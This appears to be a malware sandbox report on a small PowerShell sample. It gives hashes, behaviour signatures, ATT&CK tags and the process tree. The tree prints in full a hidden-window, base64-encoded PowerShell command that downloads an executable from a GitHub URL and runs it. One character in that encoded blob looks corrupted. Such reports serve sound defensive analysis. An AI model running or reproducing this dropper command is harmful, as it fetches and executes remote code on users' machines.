8a0cc3c92545859204b8ec020cf8bbedbd87fe03f6e403592422222f1dc47c17

Analysis

user interaction
yes
max time kernel
898s
max time network
471s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/10/2026, 10:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
code.ps1
Size 594B
Sample261020-mftbkaba88
SHA256 8a0cc3c92545859204b8ec020cf8bbedbd87fe03f6e403592422222f1dc47c17
MD5 cbc70a6e778631e2997214c77e3cada1
SHA1 154e792cee83073467e66331cd7c43c9efc7fead
SHA512 93e43f29b4fed96b57a1a8f9e51c1209bb0c43caab9dba33beee83384002ea0bb5741905456a4575fb82ec0f68b5efd7634c326e3a9b6a6ff7a831011933e1b7
TLSH
T15DF04C39DE75F8E0876F74408C112E4F24951963CBB02F7CD8135476AD56706CB1D58C
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
840	powershell.exe
5540	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5540	powershell.exe
5540	powershell.exe
840	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5540	powershell.exe
Token: SeDebugPrivilege	840	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 5540 wrote to memory of 840	5540	powershell.exe	86

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -EncodedCommand JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwBoAGEAeQA3AGwAZQBiAGIALQBjAGwAbwB1AGQALwA2ADcANgA3AC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAG0AcwBoAGEAbABiADYANwAuAGUAeABlACIAAAAKACQAbwB1AHQAcAB1AHQAIAA9ACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAG0AcwBoAGEAbABiADYANwAuAGUAeABlACIAAAAKACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHUAcgBsACwAIAAkAG8AdQB0AHAAdQB0ACkAAAArAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGÙ¨AdQB0AHAAdQB0AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 59804d7599fb39235424f498e5fa4cd2434b2a924f37d60f842ea4a536e390ad
MD5 cd488961db34aaa8ef3178208699448e
SHA1 a32ca7998015f97e09c1245bed2791e9c0ec81f9
SHA512 59ab7742cb29fa66c86b3ebe63605de647b4e1d874523eb95dac2d4c8db88c65afb906315fe43ebe69bbe2b9087cf4ffea977605aac7d2eb39fbf698ee0c005e
TLSH
T1D541DB7233B5A0E889163F071D7855C053BF4355FAA4AF0CB298622ED9364179F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_05ekkexn.ng1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_05ekkexn.ng1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/840-11-0x0000027CE4ED0000-0x0000027CE4EE0000-memory.dmp

Download

memory/840-10-0x0000027CE4ED0000-0x0000027CE4EE0000-memory.dmp

Download

memory/5540-1-0x000001D540150000-0x000001D540160000-memory.dmp

Download

memory/5540-0-0x000001D540150000-0x000001D540160000-memory.dmp

Download

memory/5540-2-0x000001D527C00000-0x000001D527C22000-memory.dmp

Download